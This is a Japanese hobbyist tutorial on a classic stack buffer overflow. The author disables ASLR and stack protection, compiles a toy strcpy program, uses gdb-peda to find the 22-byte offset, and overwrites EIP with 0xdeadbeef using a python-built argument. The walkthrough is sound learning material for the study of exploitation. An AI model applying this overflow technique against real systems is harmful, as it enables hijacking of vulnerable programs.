簡単なバッファオーバーフローでEIPを奪う

EIPを奪うところまでやってみる。

環境
$ uname -a
Linux backbox 3.19.0-56-generic #62~14.04.1-Ubuntu SMP Fri Mar 11 11:03:15 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.1) 4.8.4

gdbはpeda入れて使う。

ASLRをOFF OFF

今回は簡単にやるという方針なのでASLRを切る。
ASLRとはプログラムを実行する際に使用するメモリのアドレスをランダム化する機能で、これにより攻撃者はメモリアドレスの推測が難しくなる。
要はどこに何があるのかわからない状態で攻撃するなんて難しいよねと言った話だ。

 $ sudo sysctl -w kernel.randomize_va_space=0

このコマンドを入力するとASLRがオフになる。
終わったら危ないので元に戻そう。

脆弱なプログラムで遊ぶ


コマンドライン引数を受け取ってそれをnameに入れ表示するプログラムだ。
問題は引数に入れる文字列を検査していないこと。
nameはchar 10個分の大きさしかないがそれを超えてコピーできてしまう。
早速10以上の値を与えてどうなるか見てみよう。
と、その前にコンパイルをしなければならないけどStack Smash Protectionという保護機能も切りたいのでコンパイル時にそのオプション"-fno-stack-protector"を付けよう。

$ gcc -m32 -fno-stack-protector geteip.c

これでコンパイルできたはずだ。
64bit環境でコンパイルすると32bit向けのライブラリを入れないとうまくいかないなんて事があるので、その時はエラー文でググろう。
では作ったバイナリをgdbで中身を見てみよう。

$ gdb a.out 
Reading symbols from a.out...(no debugging symbols found)...done.
gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x080484ad <+0>:	push   ebp
   0x080484ae <+1>:	mov    ebp,esp
   0x080484b0 <+3>:	and    esp,0xfffffff0
   0x080484b3 <+6>:	sub    esp,0x20
   0x080484b6 <+9>:	cmp    DWORD PTR [ebp+0x8],0x2
   0x080484ba <+13>:	je     0x80484dd <main+48>
   0x080484bc <+15>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484bf <+18>:	mov    eax,DWORD PTR [eax]
   0x080484c1 <+20>:	mov    DWORD PTR [esp+0x4],eax
   0x080484c5 <+24>:	mov    DWORD PTR [esp],0x80485a0
   0x080484cc <+31>:	call   0x8048350 <printf@plt>
   0x080484d1 <+36>:	mov    DWORD PTR [esp],0x1
   0x080484d8 <+43>:	call   0x8048390 <exit@plt>
   0x080484dd <+48>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484e0 <+51>:	add    eax,0x4
   0x080484e3 <+54>:	mov    eax,DWORD PTR [eax]
   0x080484e5 <+56>:	mov    DWORD PTR [esp+0x4],eax
   0x080484e9 <+60>:	lea    eax,[esp+0x16]
   0x080484ed <+64>:	mov    DWORD PTR [esp],eax
   0x080484f0 <+67>:	call   0x8048360 <strcpy@plt>
   0x080484f5 <+72>:	lea    eax,[esp+0x16]
   0x080484f9 <+76>:	mov    DWORD PTR [esp],eax
   0x080484fc <+79>:	call   0x8048370 <puts@plt>
   0x08048501 <+84>:	mov    eax,0x0
   0x08048506 <+89>:	leave  
   0x08048507 <+90>:	ret    
End of assembler dump.

ん、そうですねって感じ。
とりあえずパターン作って投げてみよう。

gdb-peda$ pattern_arg 200
Set 1 arguments to program
gdb-peda$ r
Starting program: /tmp/a.out 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA'
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA

Program received signal SIGSEGV, Segmentation fault.

落ちたな。
レジスタの中身を見てみよう。
瞬き禁止でご注目。

gdb-peda$ xinfo register 
EAX: 0x0 
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0xf7fd5000 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...)
EDX: 0xf7fb5898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x2d414143 ('CAA-')
ESP: 0xffffd1c0 ("ADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
EIP: 0x41284141 ('AA(A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

EIPの値が変わっている。
ここでEIPが拾いにいったアドレスとオーバーフローを起こしたアドレスがどのくらい離れているか見てみる。

gdb-peda$ pattern offset 0x41284141
1093157185 found at offset: 22

どうやら22バイト離れているようだ。
22バイト適当に埋めてその先にアドレスを書けばEIP奪えるみたいなので試しに0xdeadbeefが入るかテストしてみる。

gdb-peda$ set args $(python -c 'print "A"*22 + "\xef\xbe\xad\xde"')
gdb-peda$ r
Starting program: /tmp/a.out $(python -c 'print "A"*22 + "\xef\xbe\xad\xde"')
AAAAAAAAAAAAAAAAAAAAAAᆳ

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0xf7fd5000 ('A' <repeats 22 times>, "ᆳ\336\n")
EDX: 0xf7fb5898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd270 --> 0x0 
EIP: 0xdeadbeef
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef

EIPの値が0xdeadbeefになっている、うまくいったようだ。

まとめ

今回はEIPの値を書き換えるところまでやった。
本当はもっと先のこととか書いたほうが良さそうだけど、それはまた今度。
使っていて思ったんだけどpeda便利すぎでしょコレ